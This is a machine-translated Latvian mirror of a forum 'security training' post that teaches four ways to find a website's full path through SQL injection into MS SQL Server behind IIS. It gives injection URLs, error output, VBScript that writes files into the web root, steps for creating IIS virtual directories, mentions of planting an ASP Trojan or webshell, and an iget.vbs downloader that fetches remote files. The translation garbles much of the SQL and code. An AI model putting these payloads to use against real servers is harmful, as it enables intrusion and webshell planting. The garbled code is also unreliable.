Šis raksts ir mašīntulkošanas spoguļraksts, lūdzu, noklikšķiniet šeit, lai pārietu uz oriģinālo rakstu.

Skats: 11906|Atbildi: 0

[Drošības apmācība] SQL injekcija, lai iegūtu pilnu vietnes ceļu

[Kopēt saiti]
Publicēts 07.02.2015 22:19:16 | | |
SQL injekcija, lai iegūtu pilnu vietnes ceļu

Ja vietnei ir tikai 80 porti, jums būs noderīgākas šādas metodes
Gandrīz visas tajā izmantotās metodes nav tas, ko es atklāju, un rakstā vienmēr ir iekļauta personīgā pieredze un prasmes, injicējot
Ir 4 metodes (tagad zināmas)

Pirmā metode:

Šī <怪异的SQL注入>ir metode, kas ieviesta < >
Izmantojot sqlserver xp_dirtree, vispirms runāsim par metodi un pēc tam runāsim par tās priekšrocībām un trūkumiem (daži papildinājumi tiek veikti, pamatojoties uz oriģinālo tekstu)

Tabulu izveide

Paziņojums:http://www.xxxxx.com/down/list.asp?id=1;create  galda dirs(Paths Varchar(1000))--
Atpakaļ: Normāla informācija! Tas nozīmē, ka tabula ir veiksmīgi izveidota! Turpini!
(Uzbūvētais ir nedaudz lielāks par oriģinālu, jo esmu saskāries ar failu ar garu nosaukumu un izdzēsu ID, jo tas ir bezjēdzīgs)

Paziņojums:http://www.xxxxx.com/down/list.asp?id=1;insert  dirs exec master.dbo.xp_dirtree 'c:\' --
Atgriežas: Parastā informācija. Tas nozīmē, ka visi katalogi, kas rakstīti uz C disku, ir veiksmīgi! Forši! Nākamais solis ir iegūt skaitītāju! Pārkāpiet to un iznāciet. (Šķiet, ka ir tikai viens veids, kā to izdarīt)

Paziņojums:http://www.xxxxx.com/down/list.asp?id=1  un 0<>(izvēlieties 1 labākos ceļus no dirs)-
Atgriež: Microsoft OLE DB nodrošinātājs SQL Server kļūdai 80040e07
Sintakses kļūda rodas, pārvēršot varchar vērtību '@Inetpub' kolonnā ar datu tipu int.

Tad tabulā esošie direktoriju nosaukumi tiek izsprāguši pēc kārtas!

Paziņojums:http:// http://www.xxxxx.com/down/list.asp?id=1  un 0<>(atlasiet 1 populārākos ceļus no
dirs, kur ceļi nav ( '@Inetpub'))--
Atgriež: Microsoft OLE DB nodrošinātājs SQL Server kļūdai 80040e07
Sintakses kļūda radās, pārvēršot varchar vērtību 'test' kolonnā ar datu tipu int.

Tad tabulā esošie direktoriju nosaukumi tiek izsprāguši pēc kārtas!
Labi, turpināsim

Paziņojums:http:// http://www.xxxxx.com/down/list.asp?id=1  un 0<>(atlasiet 1 populārākos ceļus no
dirs, kur ceļi nav in( '@Inetpub','test'))--
Atgriež: Microsoft OLE DB nodrošinātājs SQL Server kļūdai 80040e07
Sintakses kļūda rodas, pārvēršot varchar vērtību 'haha' kolonnā ar datu tipu int.

Tad tabulā esošie direktoriju nosaukumi tiek izsprāguši pēc kārtas!

Labi, jums vajadzētu zināt, kā to izdarīt, haha, vienkārši pievienojiet iegūtās tabulas nosaukumu šai iekavā, ielieciet tik daudz, cik vēlaties,

Neliels triks:

Dažreiz jūs atradīsit, ka, ja ievade ir līdzīga

http://www.xxxxx.com/down/list.asp?id=1  un 0<>(izvēlieties 1 labākos ceļus no dirs)-

Tā vietā, lai parādītu kļūdu, tīmekļa lapa tiek parādīta normāli
Reibonis, neuztraucieties
Paskatieties uz 0<> (atlasiet 1 labākos ceļus no dirs), lai parādītu, ka atgriešanās ir skaitlis,
Haha, pārbaudiet to un redziet, cik tas ir

100>(atlasīt 1 labākos ceļus no dirs)

Atgriezties normālā stāvoklī
Haha, jūs varat ātri uzminēt ar šo metodi vairāk vai mazāk
Labi, turpināsim
Piemēram, kad tas parādās

59=(atlasīt 1 populārākos ceļus no dirs)

Atgriezties normālā stāvoklī,
Labi, vārds ir 59
Ievadiet šādi

http:// http://www.xxxxx.com/down/list.asp?id=1  un 0<>(atlasiet 1 populārākos ceļus no
dirs, kur ceļi nav ( '59'))--

Neaizmirstiet likt pēdiņas
Šī metode ir tāda pati kā oriģināls
Pastāv arī problēma
Dažreiz, ievadot 59, izmantojot iepriekš minēto metodi, es konstatēju, ka nākamā mape joprojām ir 59
Kas notiek?
Hehe, es nezinu, vai esat pamanījuši, ka 059 un 59 ir vienādi?
Tāpēc haha,

http:// http://www.xxxxx.com/down/list.asp?id=1  un 0<>(atlasiet 1 populārākos ceļus no
dirs, kur ceļi nav ( '059'))--

Es atklāju, ka tiek parādīts nākamais mapes nosaukums, labi

Priekšrocību un trūkumu analīze:

Priekšrocība ir tā, ka visi sqlserver lietotāji to var izmantot, jo xp_dirtree piemēro atļauju PUBLIC,
Trūkums ir tas, ka tas parāda visu direktorijā esošo mapju nosaukumus, un izkārtojums, šķiet, nav kārtībā, īsāk sakot, ir sāpīgi atrast vajadzīgo mapi tūkstošiem vai desmitiem tūkstošu mapju.
Un jūs zināt, ka šī mape nav garantēta, ka tā būs saknes direktorijā, kas patiešām ir sāpīga lieta, daudzas reizes tas ir atkarīgs no veiksmes un izturības.
Es novēlu jums panākumus

2. metode:

Izmantojiet xp_cmdshell

Haha, visiem tas ir jāzina, ļaujiet man to īsi pateikt

Tabulu izveide

Paziņojums:http://www.xxxxx.com/down/list.asp?id=1;create  galda dirs(Paths Varchar(1000))--
Atpakaļ: Normāla informācija! Tas nozīmē, ka tabula ir veiksmīgi izveidota! Turpini!
(Uzbūvētais ir nedaudz lielāks par oriģinālu, jo esmu saskāries ar failu ar garu nosaukumu un izdzēsu šo ID, jo tas ir bezjēdzīgs.)

Paziņojums:http://www.xxxxx.com/down/list.asp?id=1;insertdirs exec master.dbo.xp_cmdshell 'dir c:\ /B/D' --
Atgriežas: Parastā informācija. Tas nozīmē, ka visi katalogi, kas rakstīti uz C disku, ir veiksmīgi! šeit tiek izmantots dir c:\ /B/D, haha, ja nezināt, ko dara /B/D, mēģiniet redzēt, ko tas dara

Paziņojums:http://www.xxxxx.com/down/list.asp?id=1  un 0<>(izvēlieties 1 labākos ceļus no dirs)-
Atgriež: Microsoft OLE DB nodrošinātājs SQL Server kļūdai 80040e07
Sintakses kļūda rodas, pārvēršot varchar vērtību '@Inetpub' kolonnā ar datu tipu int.

Tad tabulā esošie direktoriju nosaukumi tiek izsprāguši pēc kārtas!

Paziņojums:http:// http://www.xxxxx.com/down/list.asp?id=1  un 0<>(atlasiet 1 populārākos ceļus no
dirs, kur ceļi nav ( '@Inetpub'))--
Atgriež: Microsoft OLE DB nodrošinātājs SQL Server kļūdai 80040e07
Sintakses kļūda radās, pārvēršot varchar vērtību 'test' kolonnā ar datu tipu int.

Tad tabulā esošie direktoriju nosaukumi tiek izsprāguši pēc kārtas!

Metode ir tāda pati kā iepriekš, tāpēc es par to nerunāšu

Dažreiz mēs varam kaut ko darīt arī ar šādiem diviem paplašinājumiem

1) Mēs varam izmantot xp_availablemedia, lai iegūtu visus pašreizējos diskus un saglabātu tos dirs tabulā:

5 ; ievietot dirs exec master.dbo.xp_availablemedia; --

Mēs varam iegūt disku sarakstu un saistīto informāciju, vaicājot temp saturu

(2) Mēs varam izmantot xp_subdirs, lai iegūtu apakšdirektoriju sarakstu un saglabātu tos dirs tabulā:

5 ; ievietot dirs exec master.dbo.xp_subdirs 'c:\' ; --

Priekšrocību un trūkumu analīze:

Acīmredzot tas nebūs xp_dirtree situācijā, kad visi direktoriji tiek salikti kopā, tiks parādīts tikai pirmā līmeņa direktorijs, ko ir daudz vieglāk atrast.
Trūkumi ir arī acīmredzami, tikai SA ir šī atļauja, un ir arī iespējams, ka administrators izdzēsa šo paplašinājumu (galu galā tas ir pārāk spēcīgs).

3. metode:

Šī pieeja ir laba
Šis ir oriģinālais teksts
Domāju izmantot adsutil.vbs programmu, kuru es izpildīju

a'; izpildmeistars .. xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt'; --

Vai tas nav garš? Caur to mēs varam izveidot pirmo virtuālo vietni IIS (protams, ieskaitot faktisko direktoriju, kurā tā atrodas)
Importēt a.txt
a.txt faktiskās atrašanās vietas noklusējums, protams, ir c:\winnt\system32, kas faktiski nav problēma, bet, sastopoties ar administratoru, kurš iestata adsutil.vbs
Dzēst vai ievietot citur
Mēs neko nevaram darīt (jūs pats nevarat to uzrakstīt ar atbalss komandu)

Step 2: Izmantojiet komandu echo, lai ierakstītu šādu kodu c:\, kas nav daudz

..... xp_cmdshell 'atbalss kopa FSO1=CreateObject("Scripting.FileSystemObject">c:\read.vbs'; --
..... xp_cmdshell 'echo Set WshShell = Wscript.createObject("Wscript.Shell">>c:\read.vbs'
; --
.....
-------------------lasīt.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject"
Set WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("process"("windir"
Set fil =FSO1.OpenTextFile(Spa & "\System32\aa.txt"
darīt, kamēr nav fil.atendofstream
nr=fil.readline
ja left(nr,4)="Ceļš", tad
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
Iziet no DO
beigt, ja
cilpa
iestatīt fil1 =FSO1.OpenTextFile(PA &"\dd.asp",2,true)
fil1.writeline ""
---------------Izgrieziet šeit-------------------------------------

3. solis: Protams, tas ir izpildīt read.vbs, lai mēs varētu izlasīt aa.txt saturu un atrast vietnes faktisko ceļu
Pēc tam ierakstiet failu ar nosaukumu dd.asp tīmekļa vietnes saknes direktorijā, un jūs zināt, vai varat to veiksmīgi izmēģināt
izpildīthttp://x.x.x.x/dd.asp
Atgriešanās: \xxx
Haha, tas ir labs veids,
Tomēr šķiet, ka oriģinālajam tekstam ir dažas problēmas
Tas ir

set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
set fil1 =fso1.opentextfile(pa%2B"\dd.asp",2,true)

Kļūda rodas, ja tiek iesniegti divi teikumi
Tāpēc mēs nācām klajā ar plus zīmi, kurai ir tāda pati funkcija kā &
Un ko rakstīt par dd.asp? Rakstiet pa, haha
Haha, es to mainīju

-------------------lasīt.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject"
Set WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("process"("windir"
set fil =fso1.opentextfile(spa "\system32\aa.txt"
darīt, kamēr nav fil.atendofstream
nr=fil.readline
ja left(nr,4)="Ceļš", tad
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
Iziet no DO
beigt, ja
cilpa
iestatīt fil1 =fso1.opentextfile(pa "\dd.asp",2,true)
fil1.writeline pa
---------------Izgrieziet šeit--------------------------------------
Tā kā laika skaitlis tiek pārvērsts par atstarpi, iesniedzot pārlūkprogrammā, ir jāiestata arī
Tas kļūst par %2B, labi, tam vajadzētu būt labi, šādi
-------------------lasīt.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject"
Set WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("process"("windir"
set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
darīt, kamēr nav fil.atendofstream
nr=fil.readline
ja left(nr,4)="Ceļš", tad
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
Iziet no DO
beigt, ja
cilpa
set fil1 =fso1.opentextfile(pa %2B "\dd.asp",2,true)
fil1.writeline pa
---------------Izgrieziet šeit--------------------------------------

Ja mēs konstatējam, ka 1 nav, mēs varam kļūt par 2, 3, 4...........

a'; izpildmeistars .. xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/2/root>a.txt'; --

Bet šo metodi var izmantot tikai operētājsistēmā Windows 2000, jo jaunizveidoto vietņu adreses saskaņā ar 2003. gadu nav sakārtotas saskaņā ar 1234, šķiet, ka tas ir nejauši ģenerēts, un es esmu salīdzinājis vairākus zem 2003. gada
adrese, regularitāte netika atrasta.

Priekšrocību un trūkumu analīze:

Ditto xp_cmdshell Ne katrs lietotājs to var izmantot! Vēl viena problēma ir tā, ka adsutil fails ne vienmēr pastāv vai ne vienmēr atrodas šajā ceļā, lai gan jūs varat to izmantot, ja esat paredzējis
Echo raksta vienu (haha, vecs un vecs), un vēl viens jautājums ir, ko darīt, ja resursdatorā ir daudz vietņu? Es esmu saticis uzņēmēju ar deviņām vietnēm, un tikai astotā ir noderīga
Jā, vājš, ikvienam ir grūti būt pacietībai tik daudz pastāvēt, varbūt tas jau sen ir sabrucis. Arī to nevar izmantot 2003. gadā!
Bet, godīgi sakot, šī metode patiešām ir laba metode

4. metode:

Šī metode ir nolasīt ceļu no reģistra caur xp_regread utt
Lai iegūtu tīmekļa lapas ceļu (lasīt reģistru, izmantojot saglabātās procedūras), ieteicams veikt tālāk norādīto:
Izmantojiet iebūvēto saglabāto procedūru xp_regread (lasīt reģistra atslēgu, atļaut publiski):

Paziņojums: http://www.xxx.com/list.asp?classid=1; create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Deklarēt@test
Varčars (20) Izpilddirektors Meistars .. xp_regread @rootkey= HKEY_LOCAL_MACHINE , @key=
SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\ , @value_name= / , values=@test OUTPUT ievietošana ceļos
(ceļa) vērtības(@test)

IIS noklusējuma ceļš reģistrā HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\
Izmantojiet pārrāvuma lauku, lai nolasītu datu bāzes vērtību:

Paziņojums: http://www.xxx.com/list.asp?classid=1 un 0<>(atlasīt 1 populārākos ceļus no jaunās tabulas)--return: Microsoft OLE DB nodrošinātājs
ODBC draiveru kļūda 80040e07 [Microsoft][ODBC SQL Server draiveris][SQL Server] konvertē varchar vērtību E:\www,,201 par datu tipu int
kolonna.

Tas nozīmē, ka tīmekļa lapas direktorijs ir E:\www, un pēc tam varat arī izmantot FSO, lai rakstītu tieši ASP Trojas zirgā
Kā rīkoties, ja nevarat iegūt tīmekļa direktoriju? Jums ir jāuzmin, vai vietne izmanto noklusējuma WEB vai domēna nosaukumu kā WEB.

deklarēt @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL cscript.exe c:
\inetpub\wwwroot\mkwebdir.vbs -w "noklusējuma vietne" -v "e","e:\"'

Izveidojiet virtuālo direktoriju E zem noklusējuma WEB vietnes, norādot uz E: zem diska.

deklarēt @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL cscript.exe c:
\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e pārlūkot'

Ir labi pievienot pārlūkošanas atribūtus virtuālajam direktorijam e. Atveriet sev virtuālu pakalpojumu. Domājot par šiem tīmekļa lapu direktoriju ceļiem, mana galva ir gandrīz salauzta. Tagad es atvēru acis. Tas ir WEBSHELL, kas izmanto MS
SQL ir mūsu darba beigas, un nākamajam darbam vajadzētu būt jūsu.
Haha, metode ir laba, izlasiet to, izmantojot reģistrācijas veidlapu, ērti un ātri!

Priekšrocību un trūkumu analīze:

Priekšrocība, protams, ir tā, ka tas ir ērti un ātri. Negatīvie ir tas, ka jūs varat redzēt tikai noklusējuma IIS vietnes ceļu, un, ja tā vairs nav noklusējuma vietne, tad neko nevar darīt (es to izsekoju ar regsnape), ja zem 2003. gada
Tas nozīmē, ka pat noklusējuma vietnes ceļš netiek parādīts! Sāpēs

Starp citu, patiesībā ir arī citi veidi, kā turpināt ielaušanos, izņemot vietnes ceļa atrašanu, piemēram, augšupielādējot atlēciena Trojas zirgu, izmantojot tftp, vai rakstot iget.vbs, lai lejupielādētu vajadzīgo dongdongu
iget.vbs kods ir šāds:

---------sākt----------
Set xPost = createObject("Microsoft.XMLHTTP"
xPost.Open "GET",LCase(WScript.Arguments(0)),0
xPost.Sūtīt()
Set sGet = createObject("ADODB. Straume"
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile LCase(WScript.Arguments(1)),2
----------beigas-----------

Šī raksta papildinājums:

Nesen es atklāju, ka mana izpratne par priekšsēdētāja Mao norādījumiem nebija pietiekami dziļa, un es gribētu šeit piebilst
Faktiski iepriekš minētās metodes vispār nav jāsalīdzina, xp_dirtree tās ir labākās, ja vien pietiek ar šo vienu metodi
Tas ir tikai tāpēc, ka es biju pārāk ..............
Šodien es atkal izrakšu xp_dirtree noslēpumu
Labi, izpildīsim meistaru: xp_dirtree'd:/tests'
Pieņemsim, ka testā ir divas mapes, test1 un test2, un test3 test1
Rezultāti liecina

Apakšdirektorija dziļums
1 1 tests
tests3 2
2 1 tests

Haha Es atklāju, ka nav dziļuma, kas ir direktorija sērija
Labi, ziniet, ko darīt

http://www.xxxxx.com/down/list.asp?id=1;create  tabulas dirs(paths varchar(1000),id int)--
http://www.xxxxx.com/down/list.asp?id=1;insert  dirs exec master.dbo.xp_dirtree 'd:\' --
http://www.xxxxx.com/down/list.asp?id=1  un 0<>(izvēlieties 1 labākos ceļus no dirs, kur id=1)-

Kamēr tiek pievienots id=1, tas ir pirmā līmeņa direktorijs.





Iepriekšējo:Ielaušanās iekļūšana: HTTP galveņu lietošana
Nākamo:Alipay pārsūtīšanas ekrānuzņēmumi tiek ģenerēti ar vienu klikšķi
Atruna:
Visa programmatūra, programmēšanas materiāli vai raksti, ko publicē Code Farmer Network, ir paredzēti tikai mācību un pētniecības mērķiem; Iepriekš minēto saturu nedrīkst izmantot komerciāliem vai nelikumīgiem mērķiem, pretējā gadījumā lietotājiem ir jāuzņemas visas sekas. Informācija šajā vietnē nāk no interneta, un autortiesību strīdiem nav nekāda sakara ar šo vietni. Iepriekš minētais saturs ir pilnībā jāizdzēš no datora 24 stundu laikā pēc lejupielādes. Ja jums patīk programma, lūdzu, atbalstiet oriģinālu programmatūru, iegādājieties reģistrāciju un iegūstiet labākus oriģinālus pakalpojumus. Ja ir kādi pārkāpumi, lūdzu, sazinieties ar mums pa e-pastu.

Mail To:help@itsvse.com